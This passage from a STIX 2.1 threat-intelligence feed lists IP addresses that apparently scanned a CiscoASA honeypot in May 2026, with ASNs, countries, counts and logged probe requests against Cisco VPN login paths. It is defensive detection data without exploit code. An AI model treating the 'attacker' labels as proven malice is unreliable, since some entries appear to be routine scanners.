      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--d9edc05e-8f41-4776-8284-70671902b54f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T05:29:58.549Z",
          "last_seen": "2026-05-03T05:29:58.549Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f270b115-f2f1-4782-a01a-82d8c0d9c0f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T05:29:39.811Z",
          "last_seen": "2026-05-03T05:29:39.811Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--238ba3ee-a0a2-4478-bf38-72d5ce5a3534",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T05:29:47.777Z",
          "last_seen": "2026-05-03T05:29:47.777Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4345bd3a-62ba-4af4-bcbb-d46c6b5a4dce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T05:29:35.417Z",
          "last_seen": "2026-05-03T05:29:35.417Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--9a881028-4e82-4dbd-b64e-802ed1d98bb5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T05:30:03.106Z",
          "last_seen": "2026-05-03T05:30:03.106Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--9851012e-c713-4cd6-b3c4-4addd0af6241",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T05:28:08.200Z",
          "last_seen": "2026-05-03T05:28:08.200Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T07:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--201cb6ee-a7c0-4042-a131-a8365a540de7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:20:11.000Z",
      "valid_until": "2026-06-04T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-03T06:33:36.632Z",
          "last_seen": "2026-05-31T02:18:44.350Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T07:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0de68015-ac49-4585-a68a-bc1a7d9398a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:20:11.000Z",
      "valid_until": "2026-06-04T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-03T07:12:57.636Z",
          "last_seen": "2026-05-30T15:34:10.489Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T08:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--7a01c260-0b26-4627-89fa-5471c001abd9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '123.160.223.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:20:05.000Z",
      "valid_until": "2026-06-04T08:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 13,
          "first_seen": "2026-05-03T07:51:52.951Z",
          "last_seen": "2026-05-30T03:22:32.836Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T08:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: ES; ASN 41608 (NextGenWebs, S.L.)",
      "id": "indicator--0ebcfc4a-4142-4e18-9a92-707a0306f129",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.170.172.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:20:05.000Z",
      "valid_until": "2026-06-04T08:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-03T08:01:49.498Z",
          "last_seen": "2026-05-03T08:01:51.183Z",
          "country": "Spain",
          "country_code": "ES",
          "asn": 41608,
          "as_org": "NextGenWebs, S.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T08:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--1572310e-b0bd-4923-8cbc-11c4e047d555",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.251.95.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:20:05.000Z",
      "valid_until": "2026-06-04T08:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-03T07:50:54.605Z",
          "last_seen": "2026-05-03T07:50:58.040Z",
          "country": "United States",
          "country_code": "US",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.well-known/security.txt HTTP/1.1\" 404 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--8cd54ffa-f4e6-4179-9bbc-455a371f0f5e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:20:10.000Z",
      "valid_until": "2026-06-04T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-03T08:40:34.678Z",
          "last_seen": "2026-05-03T08:40:34.678Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--5da19028-7bd6-404a-b64f-50651c55ec92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:20:10.000Z",
      "valid_until": "2026-06-04T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-03T09:01:35.463Z",
          "last_seen": "2026-05-20T08:45:25.032Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--ffd4c4c3-d7b6-49c4-be92-5b53fa436b30",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:20:10.000Z",
      "valid_until": "2026-06-04T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-03T09:17:06.748Z",
          "last_seen": "2026-05-10T11:29:38.599Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: DE; ASN 44066 (firstcolo GmbH)",
      "id": "indicator--d6fe9326-b104-4298-924a-10a9c5101ed1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '82.211.8.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:20:10.000Z",
      "valid_until": "2026-06-04T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-03T08:45:03.952Z",
          "last_seen": "2026-05-03T08:45:04.724Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 44066,
          "as_org": "firstcolo GmbH",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--93b1c808-6354-49ac-81e6-24e9a5426609",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:20:10.000Z",
      "valid_until": "2026-06-04T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-03T09:32:43.815Z",
          "last_seen": "2026-05-29T23:54:55.212Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7ae33a04-17dd-4d42-93b1-011feb242889",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:20:10.000Z",
      "valid_until": "2026-06-04T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-03T09:48:22.547Z",
          "last_seen": "2026-05-26T01:16:46.992Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b921ae9c-3b1c-48b0-bee1-e405741e0a6a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:20:10.000Z",
      "valid_until": "2026-06-04T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-03T09:48:05.029Z",
          "last_seen": "2026-05-25T13:32:59.326Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--bcd28887-c259-42e9-8cb9-a8036697ae27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:20:10.000Z",
      "valid_until": "2026-06-04T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-03T10:03:18.053Z",
          "last_seen": "2026-05-29T18:53:31.022Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--46244a8d-8244-442a-a240-f8ab1627db42",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.251.251.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T10:20:10.000Z",
      "valid_until": "2026-06-04T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-03T10:08:57.967Z",
          "last_seen": "2026-05-03T10:09:01.397Z",
          "country": "United States",
          "country_code": "US",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T11:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--06e1b894-8692-42b6-928a-96faa3f06a59",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:20:04.000Z",
      "valid_until": "2026-06-04T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-03T11:04:09.617Z",
          "last_seen": "2026-05-30T08:32:57.614Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T11:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
